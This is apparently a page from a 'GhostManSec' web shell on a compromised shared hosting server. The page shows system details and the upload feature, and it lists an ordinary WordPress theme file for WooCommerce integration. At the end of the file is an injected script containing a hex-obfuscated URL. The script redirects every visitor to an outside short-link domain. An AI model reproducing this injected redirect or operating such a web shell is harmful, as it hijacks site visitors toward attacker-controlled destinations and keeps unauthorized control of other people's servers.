GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/public_html/wp-content/themes/around/inc/woocommerce/class-around-woocommerce.php
<?php
/**
 * Around WooCommerce Class
 *
 * @package  around
 * @since    1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

if ( ! class_exists( 'Around_WooCommerce' ) ) :

    /**
     * The Around WooCommerce Integration class
     */
    class Around_WooCommerce {

        /**
         * Setup class.
         *
         * @since 1.0
         */
        public function __construct() {
            $this->includes();
            $this->init_hooks();
        }

        public function includes() {
            require_once get_template_directory() . '/inc/woocommerce/classes/class-around-wc-helper.php';
            require_once get_template_directory() . '/inc/woocommerce/classes/class-around-product-cat-list-walker.php';
        }
        
        /**
         * Setup class.
         *
         * @since 1.0
         */
        private function init_hooks(){
            add_action( 'widgets_init', array( $this, 'widgets_init' ), 10 );
            add_action( 'after_setup_theme', array( $this, 'setup' ) );
            add_filter( 'woocommerce_enqueue_styles', '__return_empty_array' );
            add_filter( 'body_class', array( $this, 'body_classes' ) );
            add_filter( 'woocommerce_post_class', array( $this, 'product_class' ), 10 );
            add_filter( 'woocommerce_show_page_title', '__return_false' );
        }

        public function product_class( $classes ) {
            $classes[] = 'col';  
            return $classes;
        }

        public function get_wc_shop_sidebar_args() {
            $sidebar_args['shop_sidebar'] = array(
                'name'        => esc_html__( 'Shop Sidebar', 'around' ),
                'id'          => 'sidebar-shop',
                'description' => '',
            );

            return apply_filters( 'around_wc_shop_sidebar_args', $sidebar_args );
        }

         public function widgets_init() {

            $sidebar_args = $this->get_wc_shop_sidebar_args();

            foreach ( $sidebar_args as $sidebar => $args ) {
                $widget_tags = array(
                    'before_widget' => '<div id="%1$s" class="cs-widget mb-5 %2$s">',
                    'after_widget'  => '</div>',
                    'before_title'  => '<h3 class="cs-widget-title">',
                    'after_title'   => '</h3>',
                );

                $filter_hook = sprintf( 'around_%s_widget_tags', $sidebar );
                $widget_tags = apply_filters( $filter_hook, $widget_tags );

                if ( is_array( $widget_tags ) ) {
                    register_sidebar( $args + $widget_tags );
                }
            }
        }

        /**
         * Sets up theme defaults and registers support for various WooCommerce features.
         *
         * Note that this function is hooked into the after_setup_theme hook, which
         * runs before the init hook. The init hook is too late for some features, such
         * as indicating support for post thumbnails.
         *
         * @since 1.0.0
         * @return void
         */
        public function setup() {
            // Declare WooCommerce support.
            add_theme_support( 'woocommerce', apply_filters( 'around_woocommerce_args', array(
                'thumbnail_image_width' => 350,
                'product_grid'          => array(
                    'default_columns' => 3,
                    'default_rows'    => 4,
                    'min_columns'     => 1,
                    'max_columns'     => 6,
                    'min_rows'        => 1
                )
            ) ) );

            add_theme_support( 'wc-product-gallery-zoom' );
            add_theme_support( 'wc-product-gallery-lightbox' );
            add_theme_support( 'wc-product-gallery-slider' );

            /**
             * Add 'around_woocommerce_setup' action.
             *
             * @since  1.0.0
             */
            do_action( 'around_woocommerce_setup' );
        
        } 

        /**
         * Adds custom classes to the array of body classes.
         *
         * @param array $classes Classes for the body element.
         * @return array
         */
        public function body_classes( $classes ) {
            $shop_layout   = around_get_product_archive_layout();

            if( is_account_page() && is_user_logged_in() && ! is_wc_endpoint_url( 'lost-password' ) ) {
                $classes[] = 'bg-secondary';
            }

            if ( ( is_shop() || is_product_category() || is_tax( 'product_label' ) || is_tax( get_object_taxonomies( 'product' ) ) ) &&  ( 'right-sidebar' === $shop_layout || 'left-sidebar' === $shop_layout ) ) {
                $classes[] = 'cs-is-sidebar';
            }
            

            return $classes;
        }

        
    }

endif;

return new Around_WooCommerce();
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>